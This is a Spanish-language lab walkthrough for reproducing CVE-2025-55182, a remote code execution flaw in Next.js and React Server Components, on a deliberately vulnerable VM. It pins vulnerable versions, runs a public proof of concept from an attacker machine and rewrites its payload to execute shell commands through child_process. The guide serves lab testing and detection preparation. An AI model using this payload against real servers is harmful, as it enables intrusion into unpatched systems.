Laboratorio de demostración CVE-2025-55182 (Next.js / React RSC RCE)

Este documento proporciona una configuración completa y reproducible para demostrar la ejecución remota de código (RCE) de CVE-2025-55182 contra un entorno vulnerable de Next.js + React Server Components que se ejecuta dentro de una máquina virtual Ubuntu con Multipass.

El exploit se ejecuta desde fuera de la VM, lo que demuestra la explotabilidad remota y prepara el entorno para la detección de comportamientos anómalos.

Fuente: https://github.com/ejpir/CVE-2025-55182-research

1. Crear y preparar la VM de Ubuntu

2. Configuración básica dentro de la VM

2.1 Actualizar el sistema e instalar dependencias

sudo apt update && sudo apt upgrade -y
sudo apt install -y curl git build-essential

2.2 Instalar Node.js LTS (20.x)

curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt install -y nodejs

Verificar:

node -v
npm -v

2.3 Crear un usuario dedicado para la aplicación

sudo adduser reactlab
sudo usermod -aG sudo reactlab
su - reactlab

3. Desplegar la aplicación Next.js vulnerable

3.1 Crear el directorio de trabajo

mkdir ~/react2shell-lab
cd ~/react2shell-lab

3.2 Generar un proyecto básico de Next.js App Router

npx create-next-app@latest vulnerable-app
cd vulnerable-app

3.3 Fijar versiones vulnerables en package.json

Edita las dependencias:

"dependencies": {
  "next": "16.0.0",
  "react": "19.1.0",
  "react-dom": "19.1.0"
}

Reinstala los paquetes:

rm -rf node_modules package-lock.json
npm install

Verifica:

npm list react react-dom next

Resultado esperado:

[email protected]
[email protected]
[email protected]

3.4 Compilar y ejecutar en modo producción

npm run build
npm start

Salida esperada:

▲ Next.js 16.0.0
Local:   http://localhost:3000
Network: http://10.X.X.X:3000

4. Confirmar la accesibilidad externa (máquina atacante → VM)

En otra máquina:

curl http://10.102.169.126:3000

Deberías recibir la página HTML predeterminada de Next.js.

5. Clonar y probar el PoC en la máquina atacante

5.1 Clonar el repositorio

cd ~
git clone https://github.com/ejpir/CVE-2025-55182-research
cd CVE-2025-55182-research

5.2 Apuntar el PoC a la IP del servidor

Busca:

hostname: 'localhost',

Reemplázalo con:

hostname: '10.X.X.X',

5.3 Ejecutar el PoC de referencia (RCE simple con console.log)

Con Next aún en ejecución:

node test-simple.cjs

Resultado esperado en la terminal de Next.js:

NON-CHUNKED-RCE

Esto confirma la ejecución remota de código a través de React Flight utilizando las versiones vulnerables.

6. Modificar el PoC para realizar un efecto secundario visible (creación de archivos)

El objetivo es generar un comportamiento observable (sistema de archivos + ejecución de procesos).

6.1 Editar _prefix dentro de test-simple.cjs

Localiza:

"_prefix": "console.log('NON-CHUNKED-RCE');//"

Reemplázalo con:

"_prefix": "process.mainModule.require('child_process').execSync('touch /tmp/cve-2025-55182-syscall');console.log('NON-CHUNKED-RCE');//"

Nota: require no está disponible en el contexto de ejecución, pero process.mainModule.require() sí lo está.

6.2 Probar el exploit modificado

Asegúrate de que Next esté en ejecución y luego:

node test-simple.cjs

Comprueba la creación del archivo:

ls -l /tmp/

Deberías ver:

cve-2025-55182-syscall

Esto confirma una RCE funcional con efectos secundarios.

Parche:
React ≥ 19.2.1
Next.js ≥ 16.0.7